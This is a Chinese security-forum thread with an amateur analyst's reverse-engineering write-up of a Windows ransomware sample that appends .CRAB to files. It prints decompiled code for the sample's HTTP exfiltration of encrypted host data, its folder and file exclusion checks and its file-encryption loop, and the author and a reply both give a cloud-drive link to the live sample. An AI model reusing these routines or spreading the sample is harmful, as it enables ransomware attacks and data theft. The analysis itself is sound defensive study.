吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 10772|回复: 7
上一主题 下一主题
收起左侧

[PC样本分析] 一枚PC样本初分析

[复制链接]
跳转到指定楼层
楼主
hjm666 发表于 2019-7-24 11:21 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 hjm666 于 2019-7-24 19:24 编辑

一枚PC样本初分析
一、前言
     看很多人写了前言,也就写了,如题一枚PC样本,什么类型什么特征,我也不造,就这样分析了。样本信息
文件名                    sample.exe壳与编译信息        Microsoft Visual C++ 8 [Overlay] *
文件大小                264201 字节
文件类型                 PE32 executable (GUI) Intel 80386, for MS Windows
MD5                        823cac301b8ee8e8926f9b0ace21ecbc
SHA1                       548ad5abffdece69db295723b26115d344ab9e18
查壳,VC8  无壳

二、环境与工具

环境:VMware   WinXP (x64)
工具:火绒剑、IDA、吾爱OD、process、PEID、pexplorer、smsniff、regsnap、hex wrokshop

三、基础信息收集
      可疑的字符串收集
   
相关的敏感API获取


四、基础动态分析
    开好各种监视程序。运行样本,收集一些信息


注册表相关的改动

火绒剑的信息截获

网络数据包的抓取      
运行完样本后,发现样本进程树下创建了一个 nslookup.exe 进程,不断唤醒进程并关闭,火绒剑检测到了创建了一些文件,网络抓包发现频繁访问一个服务器,注册表方面设置了一个不知明程序自启,无明显的行为以及能来判断这个样本的类型,重启虚拟机后,电脑进入了屏保状态,屏保壁纸是桌面壁纸,打开任务管理器后发现设置的自启程序正在运行,关闭其相关进程树后,电脑恢复了正常。

五、深入分析
   样本程序入口

结合IDA以及od进行分析样本的流程下来,发现了样本含有大量的无意义函数,进行误导以及混淆,在大致分析完这个样本的流程后发现程序申请了一部分空间在内存,并解密出一段数据向这段空间中写入,并最终进行调用



在解密出来的的段数据进行调用后,发现其主要动作是,从新加载了动态链接库,并申请了一份大小为 26e00大小的空间,并向里面写入一段PE数据,随后将自身的PE数据抹除,替换成这段解密后的PE文件后,进行执行
   
解密出来的PE数据

自身数据清除

将这段PE文件dump下来后命名为PE.dll继续分析

六、PE.dll
还是继续拿OD以及IDA进行结合分析其相关流程,有经验的大佬怕是很快能get到G点,没有经验的菜笔只能摸下去开头先是检查解密的PE数据是否加载到内存,加载动态链接库,加载kerne132.dll
         
PE.dll主要动作是设置了屏保程序,将壁纸设置为屏保画面
  
同时发现其对内存地址00414250中解密出一段PE文件出来大小为13000,并进行修改了这一段内存的属性,并对这一段PE数据进行调用

向前面看,PE数据是在这里解密出来

修改内存属性,进行调用

值得好奇的是在函数401199中发现了这么一段代码,对这块解密出来的PE数据里查找ReflectiveLoader字符,OD追过去发现并没有在这段内存里查找到这个字符,也未发现有其它后续动作
[C++] 纯文本查看 复制代码
if ( *(__int16 *)((char *)&word_414268 + dword_41428C) == 267 )
  {
    v1 = sub_401130(*(int *)((char *)&dword_4142C8 + dword_41428C));
    v2 = &dword_414250[v1];
    v9 = &dword_414250[v1];
    v3 = (unsigned int *)&dword_414250[sub_401130(*(_DWORD *)&dword_414250[v1 + 32])];
    v4 = sub_401130(*((_DWORD *)v2 + 9));
    v5 = *((_DWORD *)v2 + 6);
    for ( i = &dword_414250[v4]; ; ++i )
    {
      if ( !v5 )
        return 0;
      --v5;
      v7 = sub_401130(*v3);
      if ( strstr(&dword_414250[v7], "ReflectiveLoader") )
        break;
      ++v3;
    }

至此,核心dll,终于解密出来了,我们继续dump下来进行接下来的关键分析

七、核心dl分析
  dll入口处便是创建了一个线程

接下来发现了一些样本即将可能要获得的敏感信息进行定义

一系列获得计算机敏感信息的操作

查询输入法主键,如果输入法主键是419便退出样本程序

如果不是便进一步获取一些敏感信息

紧接着枚举了一些进程,如果存在这些进程便终止线程,经百度发现这些是杀毒程序



申请下一部分内存,进行将获得的信息进行字符拼接,并创建互斥体防止多开

OD发现此时已经收集到的敏感信息


随后从内存中的字符串中随机出一个字符串,用来命名即将复制完样本后的新程序

将原样本进行映射到一个文件夹并以这个字符串命名,并注册表设置开机自启

OD追踪到的路径


创建完文件后,随之的是进行大量进程的枚举

如果运行的进程中含有如上程序,就将其关闭

随后的函数中意外发现,有个ransom_id字符,(不懂百度,ransom:交付赎金···  所以说这是一个勒索样本?),获得的ransam信息存入{USERID}中


随后还拼接出来一个网址,进行存入

ping后,发现网站已经无响应,ip眼熟的很,见上文网络状态捕捉

再之后发现其申请了两份空间,用来保存密钥


八、网络行为
这时将之前的收集到的敏感信息进行拼接,存储,并调用对这些数据进行加密

调用加密函数RAS加密这些数据后,紧接着获得到本机访问IP后,继续将加密后的数据进行编码转换
[Patch] 纯文本查看 复制代码
00C5FE6C  00D8C552

00C5FE70  00017380

00C5FE74  00010088  UNICODE "C:\Documents and Settings\Administrator\Applicatio"

00C5FE78  00D8BCB0  ASCII "BgIAAACkAABSU0ExAAgAAAEAAQAtaDqiZd5/hUQOGq5EefbOfmcXytb+AhgujeWs\r\nUq6za2AvKLXL5oEhLns0bmt+HtOUzMMTsl"

00C5FE7C  0000017C

00C5FE80  00D80000

00C5FE84  00C5FF00

00C5FE88  00C70000  UNICODE "zaauza?ber=ee"

00C5FE8C  0000C552

00C5FE90  00000000

00C5FE94  00D80000

00C5FE98  7C93048C  ntdll.7C93048C

00C5FE9C  00150000

00C5FEA0  00000000

00C5FEA4  00164F20

00C5FEA8  00C5FEB8

00C5FEAC  7C930462  ntdll.7C930462

转换编码后的数据
[Asm] 纯文本查看 复制代码
00C5FE68  10010DA0  ASCII "&version=0"

00C5FE6C  10010D48  UNICODE "30"

00C5FE70  00E30000  ASCII "BgIAAACkAABSU0ExAAgAAAEAAQAtaDqiZd5/hUQOGq5EefbOfmcXytb+AhgujeWsUq6za2AvKLXL5oEhLns0bmt+HtOUzMMTslIp"

00C5FE74  00E40000  ASCII "jxjU9VOYwFCblUIJBVl9rKDWPr8/T1jWlAH3J0/Gy0uEP+1KgOToqwkEcNclVBXJ\r\ncrq/3JBZ0L/J6y7LyqdLs8YW2iiXHtpGEB"     //转换后

00C5FE78  10010D50  UNICODE "35"

00C5FE7C  000017E2

00C5FE80  00D80000

00C5FE84  00000000

00C5FE88  00C70000  UNICODE "zaauza?ber=ee"

00C5FE8C  00E30000  ASCII "BgIAAACkAABSU0ExAAgAAAEAAQAtaDqiZd5/hUQOGq5EefbOfmcXytb+AhgujeWsUq6za2AvKLXL5oEhLns0bmt+HtOUzMMTslIp"

00C5FE90  00000000




利用nslookup.exe 程序执行相关命令,向指定某个网站发送数据

网络抓包发现还是这个ip,同时百度发现(.ru)后缀网站大多属于俄罗斯

持续不断的向目标服务器上发送数据,但当前此服务器已经停止使用,无法解析就进入死循环

如果解析成功便,构件一个请求头,向这个服务器发送数据请求,而这段数据就是前面中获得的敏感信息进行加密,转换编码后的数据
[C++] 纯文本查看 复制代码
 if ( *(_DWORD *)(this + 4) )
    InternetCloseHandle(*(HINTERNET *)(this + 4));
  sub_10008DA0((_DWORD *)v12);                  // 网络连接初始化
  result = InternetConnectW(*(HINTERNET *)(v12 + 4), lpszServerName, 0x50u, 0, 0, 3u, 0, 0);// 建立网络连接
  v14 = result;
  v30 = 0;
  hInternet = result;
  if ( result )
  {
    v15 = VirtualAlloc(0, 0x2800u, 0x3000u, 0x40u);
    lpAddress = v15;
    wsprintfW((LPWSTR)v15, L"%s", a3);
    v16 = HttpOpenRequestW(v14, lpszVerb, (LPCWSTR)v15, L"HTTP/1.1", 0, 0, 0x8404F700, 0);// 创建http请求
    if ( v16 )
    {
      *(_DWORD *)szHeaders = 7274568;
      v27 = 0;
      v20 = 7602291;
      v21 = 2097210;
      v22 = 6357091;
      v23 = 6553714;
      v24 = 7471205;
      v25 = 6422574;
      v26 = 7602281;
      if ( HttpAddRequestHeadersW(v16, szHeaders, 0xFFFFFFFF, 0) )// 构建http 头
      {
        if ( HttpSendRequestW(v16, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength) )// 向指定网站发送请求  lpOptional是加密后的数据
        {
          v17 = lpBuffer;
          v18 = a7 - 1;
          lpszServerName = 0;
          if ( InternetReadFile(v16, lpBuffer, a7 - 1, (LPDWORD)&lpszServerName) )// 读取相关数据
          {
            do
            {
              if ( !lpszServerName )
                break;
              v17[(_DWORD)lpszServerName] = 0;
              lpszServerName = 0;
              v30 = (void *)1;
            }
            while ( InternetReadFile(v16, v17, v18, (LPDWORD)&lpszServerName) );
          }
        }
        else
        {
          GetLastError();
        }
      }
    }
    InternetCloseHandle(v16);
    InternetCloseHandle(hInternet);
    VirtualFree(lpAddress, 0, 0x8000u);
    result = v30;
  }
  return result;
}

由于前面的无法解析目标服务器,会导致死循环,火绒剑能一直监控到nslookup.exe一直在不断访问目标服务器,虽然我有强行修改标志位,让其跳出循环,虽然跳出来了,但........仍旧跑飞,试了很多方法,也换了虚拟机,还是一直跑飞,没有什么好办法



所以下面的只能凭IDA静态分析分析接下来的加密函数了

九、文件加密
大致流程

获取盘符来判断是否要进行加密,如果主机是是可移动型,或是硬盘,ram类型的就创建线程,检索文件的路径进行加密文件

获取了了一些特殊文件夹,这些文件夹的用处都是能确定系统正常运行的文件夹,样本过滤了这些特殊文件夹的文件,以免干扰系统正常运作
[C++] 纯文本查看 复制代码
LABEL_18:
  if ( sub_100091C0(v2, (char *)L"\\Boot\\") )
  {
LABEL_21:
    v13 = lpAddress;
    goto LABEL_22;
  }
  if ( sub_100091C0(v2, (char *)L"\\Program Files\\") )
  {
    *v19 = 1;
    goto LABEL_21;
  }
  if ( sub_100091C0(v2, (char *)L"\\Tor Browser\\")
    || sub_100091C0(v2, (char *)L"Ransomware")
    || sub_100091C0(v2, (char *)L"\\All Users\\")
    || sub_100091C0(v2, (char *)L"\\Local Settings\\") )
  {
    goto LABEL_21;
  }

此外还进行判断文件后缀是否是.sql文件
[C++] 纯文本查看 复制代码
 lstrcatW((LPWSTR)v6, L"*");
  v11 = FindFirstFileW(v6, &FindFileData);      // 搜索指定目录路径
  hFindFile = v11;
  *v10 = 0;
  if ( v11 == (HANDLE)-1 )
  {
    result = -559038801;
  }
  else
  {
    do                                          // 进去循环
    {
      if ( lstrcmpW(FindFileData.cFileName, L".") && lstrcmpW(FindFileData.cFileName, L"..") )
      {
        v8((LPWSTR)v6, FindFileData.cFileName);
        if ( FindFileData.dwFileAttributes & 0x10 )
        {
          if ( v29 )
          {
            if ( sub_100091C0((char *)v6, (char *)L"SQL") )// 判断文件后缀是不是 sql
            {
              v8((LPWSTR)v6, L"\\");
              sub_10007910(v27, v6, a3, a4, a5, 1);
            }
          }

还将获得的文件路径进行比较,是否存在以下的配置文件
[C++] 纯文本查看 复制代码
 v5 = v3 + 1;
  if ( lstrcmpiW(v5, L"desktop.ini")
    && lstrcmpiW(v5, L"autorun.inf")
    && lstrcmpiW(v5, L"ntuser.dat")
    && lstrcmpiW(v5, L"iconcache.db")
    && lstrcmpiW(v5, L"bootsect.bak")
    && lstrcmpiW(v5, L"boot.ini")
    && lstrcmpiW(v5, L"ntuser.dat.log")
    && lstrcmpiW(v5, L"thumbs.db") )
  {
    result = lstrcmpiW(v5, L"CRAB-DECRYPT.txt") == 0;// 判断是否存在这些特殊文件
  }
  else
  {
    result = 1;
  }
最后是终于到了加密函数
[C++] 纯文本查看 复制代码
v2 = lpNewFileName;
  if ( sub_10007510(lpNewFileName) )            // 获得的文件名进行匹配
  {
    result = 0;
  }
  else
  {
    _mm_storel_pd((double *)&v10, 0i64);
    v4 = (WCHAR *)VirtualAlloc(0, 0x201u, 0x3000u, 4u);
    v5 = v4;
    if ( v4 )
    {
      wsprintfW(v4, L"%s.CRAB", v2);            // 后缀为.CRAB
      v6 = GetFileAttributesW(v2);              // 获得文件或目录的系统属性
      SetFileAttributesW(v2, v6 & 0xFFFFFFFE);  // 重新设置文件或目录属性
      EnterCriticalSection(&stru_10013CF4);
      if ( MoveFileW(v2, v5) )                  // 开始加密
      {
        LeaveCriticalSection(&stru_10013CF4);
        LODWORD(v7) = sub_10004070(v5, a1);     // 加密函数
        HIDWORD(v10) = HIDWORD(v7);
        v8 = v7;
        if ( v7 )
        {
          VirtualFree((LPVOID)v5, 0, 0x8000u);
          result = v8;
        }
        else
        {
          MoveFileW(v5, v2);                    // 加密后修改文件名  .CRAB
          VirtualFree((LPVOID)v5, 0, 0x8000u);

加密函数流程如下
[C++] 纯文本查看 复制代码
 if ( sub_100071B0(pbData, dwDataLen, (BYTE *)lpAddress, &v26, 0x800u) )
  {
    sub_10009490((int)&v21, (int)&v20);
    hFile = CreateFileW(v2, 0xC0000000, 1u, 0, 3u, 0x80u, 0);// 打开要加密的文件
    if ( hFile == (HANDLE)-1 )
      goto LABEL_6;
    v11 = VirtualAlloc(0, 8u, 0x3000u, 4u);
    v12 = v11;
    *v11 = 0;
    v11[1] = 0;
    v13 = VirtualAlloc(0, 0x100001u, 0x3000u, 4u);// 申请一份300u的空间用来存放要打开的加密文件数据
    v9 = (void (__stdcall *)(LPVOID, SIZE_T, DWORD))VirtualFree;
    v14 = 0;
    v39 = v13;
    lpOverlapped = 0;
    while ( ReadFile(hFile, v13, 0x100000u, &NumberOfBytesRead, 0) && NumberOfBytesRead )// 读取文件
    {
      lpBuffer = 0;
      HIDWORD(v34) = 0;
      if ( NumberOfBytesRead < 0x100000 )
        v14 = 1;
      *(_QWORD *)v12 += NumberOfBytesRead;
      v15 = NumberOfBytesRead;
      v27 = NumberOfBytesRead;
      v35 = NumberOfBytesRead;
      if ( NumberOfBytesRead & 0xF )
      {
        do
          ++v15;
        while ( v15 & 0xF );
        NumberOfBytesRead = v15;
      }
      v32 = VirtualAlloc(0, v15, 0x3000u, 4u);
      sub_10009A90((unsigned int)v32, (char *)v39, v35);
      v35 = NumberOfBytesRead;
      v16 = (const __m128i *)VirtualAlloc(0, NumberOfBytesRead, 0x3000u, 4u);
      if ( v16 )
        sub_10003F90(v35, (__m128i *)v32, (const __m128i **)&lpBuffer, (int)&v20, (const __m128i *)&v24, v16);// 对文件数据进行加密函数
      VirtualFree(v32, 0, 0x8000u);
      if ( !SetFilePointerEx(hFile, (LARGE_INTEGER)-(signed __int64)__PAIR__(HIDWORD(v34), v27), 0, 1u) )// 改变文件指针
        GetLastError();
      if ( !WriteFile(hFile, lpBuffer, NumberOfBytesRead, &NumberOfBytesWritten, 0) )// hFile 是打开的要加密的文件句柄 第一次写入
      {
        v14 = 1;
        lpOverlapped = (LPOVERLAPPED)1;
      }
      VirtualFree((LPVOID)lpBuffer, 0, 0x8000u);
      if ( v14 )
        break;
      v13 = v39;
    }
    VirtualFree(v39, 0, 0x8000u);
    v17 = hFile;
    if ( !lpOverlapped )
    {
      WriteFile(hFile, v41, 0x100u, &NumberOfBytesWritten, 0);// 第二次写入,写入大小100u
      WriteFile(v17, lpAddress, 0x100u, &NumberOfBytesWritten, 0);// 第三次写入,大小100u
      WriteFile(v17, v12, 8u, &NumberOfBytesWritten, 0);// 第四次写入,大小为8u
    }

具体加密过程,没有OD进行动态跟踪我也就只能进加密函数大致猜测一下,发现函数里存在着一些位移和大量的异或操作,加密过程应该是通过加密函数的算法先进行位移,后异或,加密数据,可能还判断了要加密的数据长度,进行分段加密,或者以要加密文件数据长度区分进行不同的加密
[C++] 纯文本查看 复制代码
 if ( v4 != 160 )
  {
    if ( v4 != 192 )
    {
      if ( v4 != 224 )
        return -1;
      v10 = __ROL4__(v6, 16);
      v11 = dword_1000BEC0[BYTE1(v10)] ^ dword_1000B6C0[BYTE1(v8)] ^ dword_1000B2C0[(unsigned __int8)v7] ^ *(_DWORD *)(a3 + 24);
      v12 = dword_1000BAC0[(unsigned __int8)v10] ^ dword_1000B6C0[BYTE1(v5)] ^ dword_1000B2C0[(unsigned __int8)v8] ^ *(_DWORD *)(a3 + 28);
      v13 = dword_1000B2C0[(unsigned __int8)v5];
      v14 = (v10 >> 16) | v5 & 0xFFFF0000;
      v15 = v8 >> 16;
      v16 = dword_1000BEC0[BYTE1(v15)] ^ dword_1000B6C0[BYTE1(v14)] ^ v13;
      v17 = dword_1000B2C0[(unsigned __int8)v14] ^ dword_1000B6C0[BYTE1(v7)] ^ dword_1000BAC0[(unsigned __int8)v15];
      v14 >>= 16;
      v18 = v7 >> 16;
      v19 = dword_1000BEC0[BYTE1(v18)] ^ v12;
      v20 = dword_1000BAC0[(unsigned __int8)v14] ^ v11;
      v21 = dword_1000BEC0[BYTE1(v14)] ^ v17;
      v22 = dword_1000BAC0[(unsigned __int8)v18] ^ v16;
      v23 = v20;
      v24 = v19;
      v25 = *(_DWORD *)(a3 + 16) ^ v22;
      v26 = __ROL4__(*(_DWORD *)(a3 + 20) ^ v21, 16);
      v27 = dword_1000BEC0[BYTE1(v26)] ^ dword_1000B6C0[BYTE1(v24)] ^ dword_1000B2C0[(unsigned __int8)v20] ^ *(_DWORD *)(a3 + 40);
      v28 = dword_1000BAC0[(unsigned __int8)v26] ^ dword_1000B6C0[BYTE1(v25)] ^ dword_1000B2C0[(unsigned __int8)v19] ^ *(_DWORD *)(a3 + 44);
      v29 = dword_1000B2C0[(unsigned __int8)v25];
      v30 = (v26 >> 16) | v25 & 0xFFFF0000;
      v24 >>= 16;
      v31 = dword_1000BEC0[BYTE1(v24)] ^ dword_1000B6C0[BYTE1(v30)] ^ v29;
      v32 = dword_1000B2C0[(unsigned __int8)v30] ^ dword_1000B6C0[BYTE1(v23)] ^ dword_1000BAC0[(unsigned __int8)v24];
      v30 >>= 16;



总结一波:
有些地方样本操作,可能没有详细的讲到位,或者是没提到,分析不出所以然来(经验少,见识少,知识不够·····),水了一大堆,精简后些后还是图片太多过了限制,菜的只能靠水撑了(最后面老粘代码)
文件加密部分实在是难受啊.......能动态分析就不会这么草草了解啊。。虽然也可能什么所以然也分析不出,还是有点遗憾。最后菜.......求轻。     
      如有错误,还望大佬指出,不胜感激!!


样本:
链接: https://pan.baidu.com/s/1RBYw9_WOTQaMGjrBc59NmA 提取码: vdtc 复制这段内容后打开百度网盘手机App,操作更方便哦
vdtc
密码: www.52pojie.cn

免费评分

参与人数 6威望 +2 吾爱币 +11 热心值 +5 收起 理由
Hmily + 2 + 7 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
_划船不用桨 + 1 + 1 谢谢@Thanks!
一身白 + 1 + 1 用心讨论,共获提升!
zhangyx98 + 1 + 1 热心回复!
fangchang819 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
战言灬永不败 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
AZ1036 发表于 2019-7-24 22:32
谢谢分享,学习了
3#
战言灬永不败 发表于 2019-7-24 13:32
4#
一二彡亖 发表于 2019-7-24 13:53
5#
一身白 发表于 2019-7-24 16:34
楼主 把样本发出来吧,我也想分析分析
6#
心乄好累 发表于 2019-7-24 18:33
谢谢分享..
7#
 楼主| hjm666 发表于 2019-7-24 19:23 |楼主
一身白 发表于 2019-7-24 16:34
楼主 把样本发出来吧,我也想分析分析

链接: https://pan.baidu.com/s/1RBYw9_WOTQaMGjrBc59NmA 提取码: vdtc 复制这段内容后打开百度网盘手机App,操作更方便哦
vdtc
8#
ltxkhb 发表于 2019-7-24 22:28
楼主真是大神
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 13:53

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表